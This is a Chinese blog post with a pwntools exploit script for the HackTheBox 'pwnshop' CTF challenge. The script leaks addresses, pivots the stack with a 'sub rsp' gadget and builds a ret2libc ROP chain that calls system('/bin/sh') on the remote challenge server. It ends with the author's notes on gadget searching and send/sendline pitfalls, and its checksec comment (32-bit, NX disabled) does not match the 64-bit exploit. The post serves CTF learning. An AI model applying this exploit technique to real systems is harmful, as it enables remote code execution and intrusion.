美文网首页
HTB pwnshop

HTB pwnshop

作者: clive0x | 来源:发表于2021-08-07 11:40 被阅读0次

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# This exploit template was generated via:

# $ pwn template --host 167.99.88.212 --port 31369 space

from pwn import *

from pwnlib import libcdb

# Set up pwntools for the correct architecture

exe = context.binary = ELF('/root/hackthebox/tracker/pwnshop')

# Many built-in settings can be controlled on the command-line and show up

# in "args".  For example, to dump all data sent/received, and disable ASLR

# for all created processes...

# ./exploit.py DEBUG NOASLR

# ./exploit.py GDB HOST=example.com PORT=4141

host = args.HOST or '46.101.23.188'

port = int(args.PORT or 30327)

def local(argv=[], *a, **kw):

    '''Execute the target binary locally'''

    if args.GDB:

        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)

    else:

        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):

    '''Connect to the process on the remote host'''

    io = connect(host, port)

    if args.GDB:

        gdb.attach(io, gdbscript=gdbscript)

    return io

def start(argv=[], *a, **kw):

    '''Start the exploit against the target.'''

    if args.LOCAL:

        return local(argv, *a, **kw)

    else:

        return remote(argv, *a, **kw)

def leakdataaddr():

    io.sendlineafter("> ","2")

    io.sendlineafter("sell? ",b'zzq')

    io.sendafter("it? ",b'11111111')

    ret = io.recvline()

    #what? 11111111

    start=14

    #%s?

    end=ret.index(b'?',start)

    addr=ret[start:end]

    addr_int=int.from_bytes( addr, byteorder='little')

    data_segment=addr_int-0xc0

    print(hex(data_segment))

    return data_segment

def leakputsaddr():

    io.sendlineafter("> ","1")

    payload = b'a'*0x28

    payload += p64(pop_rdi_ret)

    payload += p64(puts_got)

    payload += p64(puts_plt)

    payload += p64(loop_addr)

    payload += p64(sub_rsp_ret)

    io.sendafter("details: ",payload)

    ret=io.recvline()

    ret=ret[0:-1]

    puts_addr=int.from_bytes( ret, byteorder='little', signed=False)

    print(hex(puts_addr))

    return puts_addr

def getshell():

    io.sendlineafter("> ","1")

    payload = b'a'*0x28

    payload += p64(pop_rdi_ret)

    payload += p64(str_binsh_addr)

    payload += p64(system_addr)

    payload += b'a'*0x8

    payload += p64(sub_rsp_ret)

    io.sendlineafter("details: ",payload)

    sleep(1)

    io.interactive()

    print('aa')

# Specify your GDB script here for debugging

# GDB will be launched if the exploit is run via e.g.

# ./exploit.py GDB

gdbscript = '''

tbreak main

continue

'''.format(**locals())

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

# Arch:    i386-32-little

# RELRO:    No RELRO

# Stack:    No canary found

# NX:      NX disabled

# PIE:      No PIE (0x8048000)

# RWX:      Has RWX segments

io = start()

data_addr=leakdataaddr()

entry_addr=data_addr-0x4000

exe.address=entry_addr

main_addr = 0x10A0+entry_addr

buy_addr = 0x132A+entry_addr

loop_addr = 0x10BD+entry_addr

#sub rsp, 0x28 ; ret

sub_rsp_ret=0x1219 + entry_addr

pop_rdi_ret=0x13c3 + entry_addr

puts_plt=exe.plt['puts']

puts_got=exe.got['puts']

puts_addr=leakputsaddr()

puts_offset=0x6f6a0

libc_addr=puts_addr-puts_offset

system_addr = 0x453a0 + libc_addr

str_binsh_addr= 0x18ce17 + libc_addr

getshell()

这题难度没那么高,却暴露知识盲点

只有buy()函数 8bytes ret地址的overwrite,一个单位地址,不能直接在stack上写rop

1.ROPgadget ,用--only'sub|ret' 找不到 sub rsp,xxx gadgets,不加 --only,默认返回所以的gadgets。

2.开始想用ret2dlresolve,把dlresolve写进数据段,后面发现payload有0x50,代码限制只能写0x40。

3.还是sendline()月send造成的困惑,leakputsaddr()多写一个\n,造成getshell()接收字节出错。

相关文章

  • HTB pwnshop

    #!/usr/bin/env python # -*- coding: utf-8 -*- # This expl...

  • Bank(Clear Text Credentials,SUID

    开放端口 详细端口信息 DNS 首先按照htb的习惯,我们假定靶机的域名是bank.htb,依此执行Zone Tr...

  • 多图插入的free style实现

    \begin{figure}[htb]\centering %该句也可以删,确保居中\subfloat{\incl...

  • 0x00-HackTheBox-GetInviteCode

    Check out my video!!! - 0x00-HTB-GetInviteCode My input m...

  • htb optimistic

    这道题考察两个知识点: 1。int与unsigned int比较,用负数跳过比较,实现大量输入。 2。输入变相限制...

  • HTB REG

    通过 puts got 0x7fcc5db3e5a0泄漏出libc版本和地址 在https://libc.rip/...

  • 【HTB】Explore

    免责声明 本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用,请不要将文中使用的工具和渗透思路用于任...

  • TCP 流控

    tc qdisc add dev mgbe3_0 root handle 0: htb default 30tc ...

  • latex表格的首行和内容无法对对齐的情况

    先写在这里,之后再补充吧,截图实在不方便; \begin{table}[htb]\scriptsize\cente...

  • HTB-Monteverde

    概述 这个box相对来讲比较直接,没有太多弯弯绕绕,从端口扫描可以判断目标是一台windows主机,没有对外开暴露...

网友评论

      本文标题:HTB pwnshop

      本文链接:https://www.haomeiwen.com/subject/mzwwvltx.html